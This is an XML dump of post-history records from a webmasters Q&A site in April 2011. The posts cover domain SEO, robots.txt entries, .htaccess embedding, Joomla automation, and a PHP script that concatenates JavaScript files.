  <row Id="26138" PostHistoryTypeId="2" PostId="11538" RevisionGUID="2ab14284-c4e8-4e93-b7c7-ddcc7ed5e989" CreationDate="2011-04-02T11:26:22.040" UserId="4461" Text="Short Answer: No.&#xD;&#xA;&#xD;&#xA;Long(er) Answer: There is a myth that persists that `.info` domains are treated differently (looked at in a poorer light) than other TLD's, but this isn't true, just as `.gov` and `.edu` domains aren't, with all other things being equal, treated differently.&#xD;&#xA;&#xD;&#xA;Now it is true that due to their low price, `.info` domains have been used for low-quality enterprises and spammy sites, but it's the content, intent and linking neighbourhoods that has lowered their value, not the fact that they are on a `.info` TLD.&#xD;&#xA;&#xD;&#xA;More reading here: http://www.google.com/support/forum/p/Webmasters/thread?tid=29a0f58b481a188e&amp;hl=en" />
  <row Id="26139" PostHistoryTypeId="25" PostId="11534" RevisionGUID="af91f74a-e28e-4e63-aa04-06b19f449cd1" CreationDate="2011-04-02T12:08:46.730" Comment="http://twitter.com/#!/StackWebmasters/status/54153295572385792" />
  <row Id="26140" PostHistoryTypeId="4" PostId="11467" RevisionGUID="e2bb4441-f498-4c82-8c57-7b8925ba2948" CreationDate="2011-04-02T12:14:38.220" UserId="6478" Comment="edited title" Text="Whats the best CMS for Sports Club?" />
  <row Id="26144" PostHistoryTypeId="10" PostId="11518" RevisionGUID="d18e7524-5f2c-4a28-a754-75aa5256c1a7" CreationDate="2011-04-02T13:26:23.037" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="26145" PostHistoryTypeId="4" PostId="11534" RevisionGUID="918e396d-4976-4f92-977e-19eca8b7e5f9" CreationDate="2011-04-02T13:26:32.727" UserId="4461" Comment="tried to make question title make sense" Text="Will registering a .info domain have any SEO impact?" />
  <row Id="26146" PostHistoryTypeId="24" PostId="11534" RevisionGUID="918e396d-4976-4f92-977e-19eca8b7e5f9" CreationDate="2011-04-02T13:26:32.727" Comment="Proposed by 4461 approved by 1253 edit id of 94" />
  <row Id="26148" PostHistoryTypeId="2" PostId="11540" RevisionGUID="dbc536ea-57df-4ac6-a9a8-29a0973f94e3" CreationDate="2011-04-02T15:40:42.470" UserId="5855" Text="I'm designing a new site, deciding whether to keep the bulk of the content for each page in a text file, with just the file name in a database record for that page, or to keep the entire text in the database record as a string.   The text is typically a few hundred to a few thousand words, with embedded markup to include photos or whatever, to be processed in PHP before being sent out as html.&#xD;&#xA;&#xD;&#xA;I don't find enough enlightening discussion of this design choice online.   What are the pros and cons of each way?   &#xD;&#xA;&#xD;&#xA;The advantage of text files, I imagine, is easy access to the file by ftp or other means, making fixing typos or editing the material easy w/o having to fuss with the database at all.  &#xD;&#xA;&#xD;&#xA;OTOH, keeping it directly in the db means I won't have to bother learning how to read text files in PHP 8P    Seriously, what implications are there for maintaining the site, security, efficiency, and aspects I'm not thinking of?&#xD;&#xA;" />
  <row Id="26149" PostHistoryTypeId="1" PostId="11540" RevisionGUID="dbc536ea-57df-4ac6-a9a8-29a0973f94e3" CreationDate="2011-04-02T15:40:42.470" UserId="5855" Text="Text files vs. text in database" />
  <row Id="26150" PostHistoryTypeId="3" PostId="11540" RevisionGUID="dbc536ea-57df-4ac6-a9a8-29a0973f94e3" CreationDate="2011-04-02T15:40:42.470" UserId="5855" Text="&lt;website-design&gt;&lt;database&gt;&lt;text&gt;" />
  <row Id="26151" PostHistoryTypeId="2" PostId="11541" RevisionGUID="4b76e8da-3940-4e0e-af5d-40c074c7463f" CreationDate="2011-04-02T16:12:25.580" UserId="2233" Text="At [http://www.microsoft.com/robots.txt][1], why are there entries like:&#xD;&#xA;&#xD;&#xA;    Disallow: /*/mac/help.mspx&#xD;&#xA;    Disallow: /*/mac/help.mspx?&#xD;&#xA;    Disallow: /*/mactopia/help.mspx?&#xD;&#xA;    ....&#xD;&#xA;&#xD;&#xA;Could there be a real reason to not allow spiders to index those pages or is it something nefarious?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.microsoft.com/robots.txt" />
  <row Id="26152" PostHistoryTypeId="1" PostId="11541" RevisionGUID="4b76e8da-3940-4e0e-af5d-40c074c7463f" CreationDate="2011-04-02T16:12:25.580" UserId="2233" Text="Why is &quot;mac&quot; disallowed in microsoft.com/robots.txt ?" />
  <row Id="26153" PostHistoryTypeId="3" PostId="11541" RevisionGUID="4b76e8da-3940-4e0e-af5d-40c074c7463f" CreationDate="2011-04-02T16:12:25.580" UserId="2233" Text="&lt;robots.txt&gt;" />
  <row Id="26154" PostHistoryTypeId="2" PostId="11542" RevisionGUID="19c73b3e-bed1-4a69-926a-574c009ad0ce" CreationDate="2011-04-02T16:30:50.760" UserId="6521" Text="First off, wow ! Impressed by the Related Questions feature.&#xD;&#xA;&#xD;&#xA;OK I've tried Googling but haven't found an answer.&#xD;&#xA;&#xD;&#xA;I'm tech savvy, but a n00b to .htaccess and php.&#xD;&#xA;&#xD;&#xA;My problem is I would like to stop someone from embedding my meebo chat room on his website.&#xD;&#xA;&#xD;&#xA;Searching has shown me how to prevent files and ip address etc from access files.&#xD;&#xA;&#xD;&#xA;I can stop *.swf files. &#xD;&#xA;&#xD;&#xA;The problem is the meebo room has a url and it doesn't end with .swf.&#xD;&#xA;&#xD;&#xA;The room's url : http://widget.meebo.com/mcr.swf?id=#s&#xD;&#xA;&#xD;&#xA;I removed the id and replaced with #s for my example.&#xD;&#xA;&#xD;&#xA;So how would I prevent someone from embedding the url on their site ?&#xD;&#xA;&#xD;&#xA;If it can't be done with .htaccess, what could be used ?&#xD;&#xA;&#xD;&#xA;Any help would be greatly appreciated. Thanx in advance." />
  <row Id="26155" PostHistoryTypeId="1" PostId="11542" RevisionGUID="19c73b3e-bed1-4a69-926a-574c009ad0ce" CreationDate="2011-04-02T16:30:50.760" UserId="6521" Text=".htaccess used to prevent someone from embedding my meebo chatroom" />
  <row Id="26156" PostHistoryTypeId="3" PostId="11542" RevisionGUID="19c73b3e-bed1-4a69-926a-574c009ad0ce" CreationDate="2011-04-02T16:30:50.760" UserId="6521" Text="&lt;htaccess&gt;&lt;embed&gt;" />
  <row Id="26157" PostHistoryTypeId="2" PostId="11543" RevisionGUID="d91cd95d-ce7c-4b89-b881-a97bfeb5073a" CreationDate="2011-04-02T17:32:30.003" UserId="1064" Text="If Meebo is serving the content (and, presumably, you do not have access to the Meebo server to add Apache directives in an `.htaccess` override file) then you will need to look to Meebo for a solution." />
  <row Id="26158" PostHistoryTypeId="2" PostId="11544" RevisionGUID="4c551017-3a3b-435c-b730-b62075b44a6b" CreationDate="2011-04-02T18:01:34.043" UserId="2463" Text="I want to help Google build the `sitelinks`. Is there some HTML structure, css classes that I need to build to help it finding the relevant links?&#xD;&#xA;&#xD;&#xA;How does Google build the `sitelinks`, is there a way I can help?&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;[SiteLinks example (w3schools)][1]&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?sclient=psy&amp;hl=en&amp;site=webhp&amp;source=hp&amp;=&amp;q=w3schools&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=&amp;gs_rfai=&amp;pbx=1" />
  <row Id="26159" PostHistoryTypeId="1" PostId="11544" RevisionGUID="4c551017-3a3b-435c-b730-b62075b44a6b" CreationDate="2011-04-02T18:01:34.043" UserId="2463" Text="How can I help Google build SiteLinks?" />
  <row Id="26160" PostHistoryTypeId="3" PostId="11544" RevisionGUID="4c551017-3a3b-435c-b730-b62075b44a6b" CreationDate="2011-04-02T18:01:34.043" UserId="2463" Text="&lt;seo&gt;&lt;sitelinks&gt;" />
  <row Id="26161" PostHistoryTypeId="25" PostId="11542" RevisionGUID="bbdfe24b-781c-4cbb-b035-85672759ee65" CreationDate="2011-04-02T18:08:51.920" Comment="http://twitter.com/#!/StackWebmasters/status/54243915435491328" />
  <row Id="26162" PostHistoryTypeId="2" PostId="11545" RevisionGUID="77618f79-889a-4bcd-b5c1-554b11501f4a" CreationDate="2011-04-02T18:18:13.040" UserId="6335" Text="I have a website, wich i will fill with a bunch of useful videos.&#xD;&#xA;I've implemented an ads rotation engine for articles and will do so for videos.&#xD;&#xA;&#xD;&#xA;The next milestone is to decide, how video will be integrated.&#xD;&#xA;&#xD;&#xA;They are two ways:&#xD;&#xA;&#xD;&#xA;    1. Hosting videos myself. Pros: complete freedom. Cons: need tens of gigabytes of storage; support for multiple formats to be crossbrowser and crossdevice.&#xD;&#xA;    2. Use Youtube. Pros: Very simple to use; nothing to do.&#xD;&#xA;&#xD;&#xA;What are pros and cons for each way ?&#xD;&#xA;&#xD;&#xA;Some questions for YouTube:&#xD;&#xA;&#xD;&#xA;    1. Will i be able to control playback of YouTube-embedded video to make post-rolls ?&#xD;&#xA;    2. What is ranking impact on my web-site, when most of pages will refer to YouTube ?&#xD;&#xA;    3. Will, say, iPad play video, embedded via YouTube's iframe ?&#xD;&#xA;    4. Does relying entirely on YouTube have a long-term perspective for a web-site, that should bring money ?" />
  <row Id="26163" PostHistoryTypeId="1" PostId="11545" RevisionGUID="77618f79-889a-4bcd-b5c1-554b11501f4a" CreationDate="2011-04-02T18:18:13.040" UserId="6335" Text="Video for an ads-driven web-site" />
  <row Id="26164" PostHistoryTypeId="3" PostId="11545" RevisionGUID="77618f79-889a-4bcd-b5c1-554b11501f4a" CreationDate="2011-04-02T18:18:13.040" UserId="6335" Text="&lt;web-development&gt;&lt;html5&gt;&lt;video&gt;&lt;youtube&gt;" />
  <row Id="26168" PostHistoryTypeId="2" PostId="11547" RevisionGUID="25026f73-04d2-4733-b720-9c8773ec187b" CreationDate="2011-04-02T18:54:51.123" UserId="6524" Text="Unfortunately Google has not released how they determine their sitelinks. However based upon their sitelinks support page it seems that the best practices for creating navigation links that become sitelinks is consistancy. Always using the same URL structure and anchor tags for each URL probably makes it easier for the algorithm to match important content to the URL it represents.&#xD;&#xA;&#xD;&#xA;http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=47334 " />
  <row Id="26169" PostHistoryTypeId="2" PostId="11548" RevisionGUID="e8dae029-db8c-43c4-aed0-89643d44a86b" CreationDate="2011-04-02T18:55:21.850" UserId="3035" Text="I am using the theme irresistible and I wanted to a add a picture of the person who i am building the site for, however normally the background css uses repeat, but i dont want their picture to repeat i just want it all the way on the left side&#xD;&#xA;&#xD;&#xA;body.woothemes {&#xD;&#xA;	background: #18191b url(images/bg.jpg);&#xD;&#xA;	background-repeat:no-repeat;&#xD;&#xA;	background-position:left top;&#xD;&#xA;	color: #e9e9e9;&#xD;&#xA;	font-family: Arial, Helvetica, sans-serif;&#xD;&#xA;	font-size: 12px;&#xD;&#xA;	line-height: 18px;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;http://romesmooth1.jerseygetonline.com/&#xD;&#xA;&#xD;&#xA;it doesnt repeat in internet explore, but repeats in firefox but in both it looks fine in a normal 17in lcd but not in a widescreen&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26170" PostHistoryTypeId="1" PostId="11548" RevisionGUID="e8dae029-db8c-43c4-aed0-89643d44a86b" CreationDate="2011-04-02T18:55:21.850" UserId="3035" Text="issue with wordpress theme background on widescreen computers" />
  <row Id="26171" PostHistoryTypeId="3" PostId="11548" RevisionGUID="e8dae029-db8c-43c4-aed0-89643d44a86b" CreationDate="2011-04-02T18:55:21.850" UserId="3035" Text="&lt;css&gt;&lt;wordpress&gt;&lt;image&gt;" />
  <row Id="26175" PostHistoryTypeId="2" PostId="11549" RevisionGUID="dffbc99b-4516-402a-b4db-b8cfb7bf9658" CreationDate="2011-04-02T19:39:27.307" UserId="6524" Text="There are several gadgets available on the list of additional gadgets that allow you to embed iframes, objects, and sfw objects. You can select the best gadget for your site based upon the embedable type the video site provides." />
  <row Id="26176" PostHistoryTypeId="2" PostId="11550" RevisionGUID="4380c5f2-69c2-42c3-a218-13dfa7153c38" CreationDate="2011-04-02T20:41:55.227" UserId="6113" Text="John's answer says it all but I would like to ask you yet another question - what is the point? There are at least two reasons for which you should stick with &quot;html&quot; or have no extension at all:&#xD;&#xA;&#xD;&#xA;1. What you serve to the browser is not a PHP file but an HTML document. This means that the &quot;php&quot; extension is simply misleading. Yes, the HTML is generated using PHP but it is still HTML.&#xD;&#xA;2. You make your URLs dependent on the implementation of your website (PHP in this case). What if you change your implementation in the future? Will you change the URLs again? URLs are part of the user interface and they should have a well designed, implementation-independent logic behind them. They should also be clear and informative for the visitor and change only if it is absolutely necessary.&#xD;&#xA;&#xD;&#xA;Stick with &quot;htm&quot; or omit the extension whatsoever. If you feel adventurous, you can make extensions part of the personality of the website. This is how Ars Technica does it. URLs for their articles end wih .ars:&#xD;&#xA;&#xD;&#xA;http://arstechnica.com/business/news/2011/03/leaked-bulldozer-benchmarks-may-give-glimpse-of-amds-future.ars&#xD;&#xA;&#xD;&#xA;Is &quot;ars&quot; a programming language? Not at all, this is just a little element in their visual identity system. A simple and brilliant idea I think." />
  <row Id="26177" PostHistoryTypeId="25" PostId="11544" RevisionGUID="5863b25d-77a8-4617-a50f-fee58e1b8e09" CreationDate="2011-04-02T21:08:51.530" Comment="http://twitter.com/#!/StackWebmasters/status/54289212320649216" />
  <row Id="26178" PostHistoryTypeId="2" PostId="11551" RevisionGUID="0080d603-f79b-4624-b6de-2017d27fcdad" CreationDate="2011-04-02T21:39:46.393" UserId="6527" Text="I'm a programmer not a webmaster, so I'm a little out of my element.  For years I've been supporting a volunteer organization by creating a number of scripts that produce reports for their web site.  The scripts were being run on another server and automatically ftp'ing HTML files onto their former website.&#xD;&#xA;&#xD;&#xA;Now the organization has switched from simple HTML files to **Joomla! 1.5** to improve appearance.  My scripts need to generate something that Joomla can use and which can automatically be delivered to Joomla.  I'm unfamiliar with Joomla and am bewildered by the array of extensions.&#xD;&#xA;&#xD;&#xA;**Is there anyway to update an existing article under the control of a program running on another computer?**&#xD;&#xA;&#xD;&#xA;I see that Joomla 1.5 supports XML-RPC, but am I corrected in understanding that there is no XML-RPC interface to articles?&#xD;&#xA;&#xD;&#xA;There's a [webdav extension](http://translate.googleusercontent.com/translate_c?hl=en&amp;prev=/search%3Fq%3Djoomla%2Bwebdav%26hl%3Den%26client%3Diceweasel-a%26rls%3Dorg.debian:en-US:unofficial%26prmd%3Divnsfd&amp;rurl=translate.google.com&amp;sl=de&amp;u=http://www.joomlaos.de/Downloads/Joomla_und_Mambo_Komponenten/Joomla_WebDav_Server.html&amp;usg=ALkJrhi_7d9cTmYQ5BdqDuF7EFx459FqTw), but it doesn't seem to handle articles.&#xD;&#xA;&#xD;&#xA;There are a gazillion import extensions, but can any of them both update an existing article and be controlled by a remote program?&#xD;&#xA;&#xD;&#xA;I currently can directly ftp HTML files onto the Joomla's server and link to them (where they're delivered by Apache).&#xD;&#xA;Is there anyway to have a Joomla article incorporate the content of an HTML file sitting outside of Joomla?  Would that mess up Joomla's notion of the article size and thus formatting?&#xD;&#xA;&#xD;&#xA;Am I thinking about this problem all wrong?  Is there a simpler way to accomplish these goals?&#xD;&#xA;&#xD;&#xA;I really appreciate any help or pointers you can provide." />
  <row Id="26179" PostHistoryTypeId="1" PostId="11551" RevisionGUID="0080d603-f79b-4624-b6de-2017d27fcdad" CreationDate="2011-04-02T21:39:46.393" UserId="6527" Text="Remotely automatically updating Joomla articles" />
  <row Id="26180" PostHistoryTypeId="3" PostId="11551" RevisionGUID="0080d603-f79b-4624-b6de-2017d27fcdad" CreationDate="2011-04-02T21:39:46.393" UserId="6527" Text="&lt;joomla&gt;&lt;automation&gt;" />
  <row Id="26181" PostHistoryTypeId="2" PostId="11552" RevisionGUID="7a9bc2b8-9351-46a1-95c8-7f24b4ad8239" CreationDate="2011-04-02T21:52:18.030" UserId="6528" Text="When you are loading JavaScript files via the &amp;lt;script&amp;gt; tag, you can only do it one-by-one, ie `&lt;script src=&quot;myFile.js&quot;&gt;` or so I'm assuming. Is there a way to load an entire directory of .js files like `src=&quot;dir/*&quot;`?" />
  <row Id="26182" PostHistoryTypeId="1" PostId="11552" RevisionGUID="7a9bc2b8-9351-46a1-95c8-7f24b4ad8239" CreationDate="2011-04-02T21:52:18.030" UserId="6528" Text="Point to folder in &lt;script&gt; tag" />
  <row Id="26183" PostHistoryTypeId="3" PostId="11552" RevisionGUID="7a9bc2b8-9351-46a1-95c8-7f24b4ad8239" CreationDate="2011-04-02T21:52:18.030" UserId="6528" Text="&lt;javascript&gt;" />
  <row Id="26184" PostHistoryTypeId="2" PostId="11553" RevisionGUID="a41b0182-15a8-4610-8f0f-c74b4f08277f" CreationDate="2011-04-02T22:26:49.950" UserId="1064" Text="No - you cannot, by definition, (see [RFC 1738][1]) incorporate a wildcard into a URL.&#xD;&#xA;&#xD;&#xA;If you have server-side scripting access you could embed a block of code which inserts a script tag for every file read from a directory or you could concatenate the scripts on-the-fly (concatenation is generally preferable as it requires less overhead to download a single concatenated file).&#xD;&#xA;&#xD;&#xA;Most efficient solution: concatenate the relevant script files and link to that file from one `&lt;script&gt;` declaration.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.faqs.org/rfcs/rfc1738.html" />
  <row Id="26196" PostHistoryTypeId="25" PostId="11552" RevisionGUID="86c5ef4c-4e74-402a-80af-aae495307c64" CreationDate="2011-04-03T00:08:51.637" Comment="http://twitter.com/#!/StackWebmasters/status/54334511059705856" />
  <row Id="26197" PostHistoryTypeId="2" PostId="11556" RevisionGUID="91a1c637-0015-4a2f-8396-b5382e3b55a4" CreationDate="2011-04-03T00:39:13.613" UserId="6530" Text="How would one go about creating a website using the &quot;.lol&quot; domain? Is it even possible? And if not, why not?" />
  <row Id="26198" PostHistoryTypeId="1" PostId="11556" RevisionGUID="91a1c637-0015-4a2f-8396-b5382e3b55a4" CreationDate="2011-04-03T00:39:13.613" UserId="6530" Text="why not DOT lol" />
  <row Id="26199" PostHistoryTypeId="3" PostId="11556" RevisionGUID="91a1c637-0015-4a2f-8396-b5382e3b55a4" CreationDate="2011-04-03T00:39:13.613" UserId="6530" Text="&lt;domains&gt;" />
  <row Id="26200" PostHistoryTypeId="5" PostId="11553" RevisionGUID="a1f52ee7-4466-4bf6-9032-46d380827ce5" CreationDate="2011-04-03T00:44:46.980" UserId="1064" Comment="Added PHP example" Text="No - you cannot, by definition, (see [RFC 1738][1]) incorporate a wildcard into a URL.&#xD;&#xA;&#xD;&#xA;If you have server-side scripting access you could embed a block of code which inserts a script tag for every file read from a directory or you could concatenate the scripts on-the-fly (concatenation is generally preferable as it requires less overhead to download a single concatenated file).&#xD;&#xA;&#xD;&#xA;Most efficient solution: concatenate the relevant script files and link to that file from one `&lt;script&gt;` declaration.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;&gt; [H]ow exactly would I do that&#xD;&#xA;&gt; on-the-fly?&#xD;&#xA;&#xD;&#xA;Here's an example of how you might do that with a PHP file named `all-js.php` in the same directory with all your scripts:&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    	$output = '';&#xD;&#xA;    	$dir = dirname(__FILE__);&#xD;&#xA;    	$files = scandir( $dir );&#xD;&#xA;    	if ( $files )&#xD;&#xA;    	{&#xD;&#xA;    		foreach ( $files as $file )&#xD;&#xA;    		{&#xD;&#xA;    			if ( '.js' == substr( $file, -3, 3 ) )&#xD;&#xA;    				$output .= &quot;/* file: $file */\n\n&quot; . file_get_contents($file) . &quot;\n\n&quot;;&#xD;&#xA;    		}&#xD;&#xA;    	}&#xD;&#xA;    	echo $output;&#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.faqs.org/rfcs/rfc1738.html" />
  <row Id="26201" PostHistoryTypeId="5" PostId="11544" RevisionGUID="0ea15e42-7b81-4178-8ac5-2a0fbdc1e093" CreationDate="2011-04-03T00:57:10.577" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What are the most important things I need to do to encourage Google Sitelinks?](http://webmasters.stackexchange.com/questions/503/what-are-the-most-important-things-i-need-to-do-to-encourage-google-sitelinks)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I want to help Google build the `sitelinks`. Is there some HTML structure, css classes that I need to build to help it finding the relevant links?&#xD;&#xA;&#xD;&#xA;How does Google build the `sitelinks`, is there a way I can help?&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;[SiteLinks example (w3schools)][1]&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?sclient=psy&amp;hl=en&amp;site=webhp&amp;source=hp&amp;=&amp;q=w3schools&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=&amp;gs_rfai=&amp;pbx=1" />
  <row Id="26202" PostHistoryTypeId="10" PostId="11544" RevisionGUID="2495a1ba-7028-4930-8cd5-096ae38672f9" CreationDate="2011-04-03T00:57:10.233" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="26203" PostHistoryTypeId="2" PostId="11557" RevisionGUID="4f0acf56-bc33-44fa-a46d-edd9ac3556ba" CreationDate="2011-04-03T01:00:40.057" UserId="529" Text="As of the this year, it is possible for you to take control of your own top-level domain, through a new ICANN process. You can read about the ICANN guidelines for becoming a sponsor of a top level domain here:&#xD;&#xA;&#xD;&#xA;http://www.icann.org/en/topics/new-gtlds/draft-rfp-24oct08-en.pdf&#xD;&#xA;&#xD;&#xA;It requires ~$185,000 in application fees. Sort of the definition of a high barrier to entry. &#xD;&#xA;&#xD;&#xA;This [organization][1] claims that they'll help you through the process. More info from [Wired][2]. [This blog][3] explains the technical aspects of the implementation.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.centralregistrysolutions.com/&#xD;&#xA;  [2]: http://www.wired.com/epicenter/2010/03/canon-domain/&#xD;&#xA;  [3]: http://timg.ws/2008/07/31/how-to-run-your-own-top-level-domain/" />
  <row Id="26204" PostHistoryTypeId="25" PostId="11556" RevisionGUID="fd37eb5a-7f89-4529-a733-0dc583ed3283" CreationDate="2011-04-03T03:08:51.490" Comment="http://twitter.com/#!/StackWebmasters/status/54379809341575168" />
  <row Id="26205" PostHistoryTypeId="2" PostId="11558" RevisionGUID="ca1e6972-d613-4645-bcf8-727359e19632" CreationDate="2011-04-03T04:43:42.013" UserId="5806" Text="**Text files are much easier to work with** since any system you have to edit and manage them will work seamlessly. Including them in PHP is only a matter of learning to use the **include() function**. You can easily use all the tools to FTP, sync and source-control directly. These advantages are huge.&#xD;&#xA;&#xD;&#xA;If you store your text in the database you can either put them directly using your favorite DB interface which will be torture at best. You'll have trouble spell-checking, revising and entering the data (particularly at the length you are asking). Instead you will probably end up building another web-app to put the text in the database for you which will probably be a waste of time compared to the simple include() call needed." />
  <row Id="26206" PostHistoryTypeId="2" PostId="11559" RevisionGUID="6285c7dc-8234-4bd1-857b-be0eeb04ecd6" CreationDate="2011-04-03T03:55:03.853" UserDisplayName="Evan Krall" Text="I've found a domain name that I'm interested in buying, but it's parked. A few questions stick out in my mind:&#xD;&#xA;&#xD;&#xA; - How do you contact the owner of the domain to make an offer? Just e-mail the administrative contact in the domain's WHOIS record?&#xD;&#xA; - If you come to an agreement about price, what payment system do you use to avoid fraud, e.g. sending money but never getting the domain transfer?&#xD;&#xA; - How do you decide on an offer price?" />
  <row Id="26207" PostHistoryTypeId="1" PostId="11559" RevisionGUID="6285c7dc-8234-4bd1-857b-be0eeb04ecd6" CreationDate="2011-04-03T03:55:03.853" UserDisplayName="Evan Krall" Text="How do I purchase a parked domain?" />
  <row Id="26208" PostHistoryTypeId="3" PostId="11559" RevisionGUID="6285c7dc-8234-4bd1-857b-be0eeb04ecd6" CreationDate="2011-04-03T03:55:03.853" UserDisplayName="Evan Krall" Text="&lt;domain-names&gt;" />
  <row Id="26209" PostHistoryTypeId="17" PostId="11559" RevisionGUID="6d26b1fd-fdf0-418b-bd13-eb6f978ca137" CreationDate="2011-04-03T05:21:16.583" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/14118/how-do-i-purchase-a-parked-domain" Text="" />
  <row Id="26210" PostHistoryTypeId="25" PostId="11541" RevisionGUID="85882427-3537-4863-9aa3-78970987abbf" CreationDate="2011-04-03T06:08:51.827" Comment="http://twitter.com/#!/StackWebmasters/status/54425108923695104" />
  <row Id="26211" PostHistoryTypeId="13" PostId="6163" RevisionGUID="14941eae-0f8a-4fc5-9093-a23e77e4397e" CreationDate="2011-04-03T07:52:28.080" UserId="3590" Text="[{&quot;Id&quot;:3590,&quot;DisplayName&quot;:&quot;Sam&quot;}]" />
  <row Id="26212" PostHistoryTypeId="5" PostId="6163" RevisionGUID="fca2e9c3-b1a4-4021-9c50-c4190ef5e06c" CreationDate="2011-04-03T07:53:14.023" UserId="3590" Comment="deleted 1 characters in body" Text="One thing i forgot to write in my post, was to also take into consideration:  &#xD;&#xA;&#xD;&#xA;** the onclusion of a variety of top level domain extension, since it iwll be a multilingual website.** &#xD;&#xA;&#xD;&#xA; - yoursite.es (spanish version)  &#xD;&#xA; - yoursite.se (Swedish version) &#xD;&#xA; - yoursite.de (German version)&#xD;&#xA; - yourside.in (Hindustani version)&#xD;&#xA; - yoursite.jp (Japanese version)&#xD;&#xA; - etc. all with the same semantic content, just in different langages&#xD;&#xA;&#xD;&#xA;&gt;&gt; Will seo penalise for pages in different languages, if they link to one and another?&#xD;&#xA;" />
  <row Id="26213" PostHistoryTypeId="2" PostId="11560" RevisionGUID="372758c3-d107-439c-aa82-7bdc63dabcaf" CreationDate="2011-04-03T08:12:58.553" UserId="3590" Text="After having read various articles on this site about WWW or Non-WWW website setup, [here][1], [here][2] and [here][3], and after having setup a correct redirection rule in .Htaccess to at least eliminate duplicate contents (currently the non-www solution (e.g. `http://website.com`) I have a feeling that my site rank less since I changed this. &#xD;&#xA;&#xD;&#xA;Could the change of www.website.com &gt;&gt; http://website.com have a factural impact on ranking? [Google does *not* explicitely][4] say either is better or worse. Are they holding information back?&#xD;&#xA;&#xD;&#xA;`I am confused fellow folks...`&#xD;&#xA;&#xD;&#xA;As much as I would like to separate facts from fiction, I am aware that not all the good valid information is written. Not on google webmaster site and perhaps not elsewhere. If so it seems out of date!&#xD;&#xA;&#xD;&#xA;**Does or doest not a WWW domain impact seo/rank better than its NON-WWW version?**  &#xD;&#xA;(Given that you have setup a proper redirect to avoid duplicates and go with one)&#xD;&#xA;&#xD;&#xA;Thanks very much for your light.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/6107/www-yoursite-com-or-http-yoursite-com-which-one-is-futureproof&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/1734/removing-non-www-support&#xD;&#xA;  [3]: http://webmasters.stackexchange.com/questions/8964/is-was-seo-the-only-reason-to-force-the-www-on-domain-names&#xD;&#xA;  [4]: http://www.google.com/support/webmasters/bin/answer.py?answer=44231" />
  <row Id="26214" PostHistoryTypeId="1" PostId="11560" RevisionGUID="372758c3-d107-439c-aa82-7bdc63dabcaf" CreationDate="2011-04-03T08:12:58.553" UserId="3590" Text="SEO preference for WWW or HTTP:// protocol redirection? Do www websites rank better than NON-www?" />
  <row Id="26215" PostHistoryTypeId="3" PostId="11560" RevisionGUID="372758c3-d107-439c-aa82-7bdc63dabcaf" CreationDate="2011-04-03T08:12:58.553" UserId="3590" Text="&lt;seo&gt;&lt;google&gt;&lt;web-development&gt;&lt;pagerank&gt;&lt;site-ranking&gt;" />
  <row Id="26216" PostHistoryTypeId="25" PostId="11560" RevisionGUID="0f173c69-4a3b-4cb9-8641-5d24b9fbadf8" CreationDate="2011-04-03T09:08:51.627" Comment="http://twitter.com/#!/StackWebmasters/status/54470406458974208" />
  <row Id="26217" PostHistoryTypeId="2" PostId="11561" RevisionGUID="9a6830e0-7509-4c86-a683-d85d6f4fe239" CreationDate="2011-04-03T09:27:58.250" UserDisplayName="BigJobbies" Text="I just had a general questions which isnt really code related.&#xD;&#xA;&#xD;&#xA;Sites like yousendit are offering payed uploads of up to 2gb ... How is this done through a standard web form? or are they using something else?&#xD;&#xA;&#xD;&#xA;My thoughts were that a standard input file field couldnt handle 2Gb files to save its life.&#xD;&#xA;&#xD;&#xA;Im really curious on how they manage this?&#xD;&#xA;&#xD;&#xA;Any responses would be good.&#xD;&#xA;&#xD;&#xA;Cheers," />
  <row Id="26218" PostHistoryTypeId="1" PostId="11561" RevisionGUID="9a6830e0-7509-4c86-a683-d85d6f4fe239" CreationDate="2011-04-03T09:27:58.250" UserDisplayName="BigJobbies" Text="File Storage Websites - How is it done" />
  <row Id="26219" PostHistoryTypeId="3" PostId="11561" RevisionGUID="9a6830e0-7509-4c86-a683-d85d6f4fe239" CreationDate="2011-04-03T09:27:58.250" UserDisplayName="BigJobbies" Text="&lt;php&gt;&lt;jquery&gt;&lt;storage&gt;" />
  <row Id="26220" PostHistoryTypeId="17" PostId="11561" RevisionGUID="6be50963-57b5-4580-bc54-b38385b5c5fd" CreationDate="2011-04-03T10:29:46.880" UserId="-1" Comment="from http://stackoverflow.com/questions/5528716/file-storage-websites-how-is-it-done" Text="" />
